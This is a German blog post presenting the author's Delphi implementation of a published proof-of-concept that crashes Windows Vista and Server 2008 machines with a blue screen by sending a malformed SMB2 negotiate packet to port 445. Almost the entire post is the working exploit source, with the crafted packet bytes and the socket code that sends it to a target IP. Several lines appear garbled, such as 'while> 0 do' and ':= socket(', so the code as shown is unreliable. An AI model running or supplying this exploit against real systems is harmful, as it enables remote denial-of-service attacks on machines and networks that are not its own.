SMB2 BSOD

Im September 2009 hat Laurent Gaffié einen “proof-of-concept” Code veröffentlicht, der zeigt, wie ein PC mit Windows Vista / Server 2008 Maschine (Windows 7 RTM ist nicht betroffen, RC *ist betroffen*) übers Netzwerk zum Absturtz gebracht werden kann. Hier ist meine Delphi Implementierung von dem veröffentlichten Code:

smb2_poc.dpr:
program smb2_poc;

{$APPTYPE CONSOLE}

uses
WinSock,
windows;

var
WSAData    : TWSAData;
wVersion   : WORD;
s          : TSocket;
serverAddr : TSockAddrIn;
ret        : Integer;
nPort      : Integer = 445;
buff       : Array[0..147] of Byte =
($00,$00,$00,$90, // Begin SMB header: Session message
$ff,$53,$4d,$42, // Server Component: SMB
$72,$00,$00,$00, // Negociate Protocol
$00,$18,$53,$c8, // Operation 0x18 & sub 0xc853
$00,$26, // Process ID High: --> :) normal value should be "$00,$00"
$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$fe,
$00,$00,$00,$00,$00,$6d,$00,$02,$50,$43,$20,$4e,$45,$54,
$57,$4f,$52,$4b,$20,$50,$52,$4f,$47,$52,$41,$4d,$20,$31,
$2e,$30,$00,$02,$4c,$41,$4e,$4d,$41,$4e,$31,$2e,$30,$00,
$02,$57,$69,$6e,$64,$6f,$77,$73,$20,$66,$6f,$72,$20,$57,
$6f,$72,$6b,$67,$72,$6f,$75,$70,$73,$20,$33,$2e,$31,$61,
$00,$02,$4c,$4d,$31,$2e,$32,$58,$30,$30,$32,$00,$02,$4c,
$41,$4e,$4d,$41,$4e,$32,$2e,$31,$00,$02,$4e,$54,$20,$4c,
$4d,$20,$30,$2e,$31,$32,$00,$02,$53,$4d,$42,$20,$32,$2e,
$30,$30,$32,$00);

function ErrorStr(ErrCode: Integer): String;
var
s   : String;
Len : Integer;
begin
Setlength(s, 260);
Len := Formatmessage(Format_Message_from_System, nil, ErrCode, 0, @s[1], length(s), nil);
Setlength(s, Len);
Result := s;
end;

function ExtractFileName(const Str: String): String;
var
tmpStr : String;
i      : Integer;
begin
tmpStr := Str;
i      := Pos('\', tmpStr);
while> 0 do begin
tmpStr := Copy(tmpStr, i+1, Length(tmpStr) - i);
i      := Pos('\', tmpStr);
end;
Result := tmpStr;
end;

begin
wVersion := MAKEWORD(2, 2);
if (ParamCount < 1) then begin
WriteLn('Usage: ' + ExtractFileName(ParamStr(0)) + ' <ip>');
Exit;
end;

ret := WSAStartup(wVersion, wsaData);
if (ret <> 0 ) then begin

WriteLn('WSAStartup failed ' + ErrorStr(ret));
Exit;
end;
try
:= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (= INVALID_SOCKET) then begin
WriteLn('Socket failed with error ' + ErrorStr(WSAGetLastError()));
Exit;
end;

serverAddr.sin_family := AF_INET;
serverAddr.sin_addr.s_addr := inet_addr(PChar(ParamStr(1)));
serverAddr.sin_port := htons(nPort);

ret := Winsock.connect(s, serverAddr, sizeof(serverAddr));
if (ret = SOCKET_ERROR) then begin
WriteLn('Connection to server failed.');
closesocket(s);
Exit;
end;

send(s, buff, 148, 0);
finally
ret := WSACleanup();
if (ret = SOCKET_ERROR) then begin
WriteLn('WSACleanup failed with error ' + ErrorStr(WSAGetLastError()));
end;
end;
end.





Leave a Reply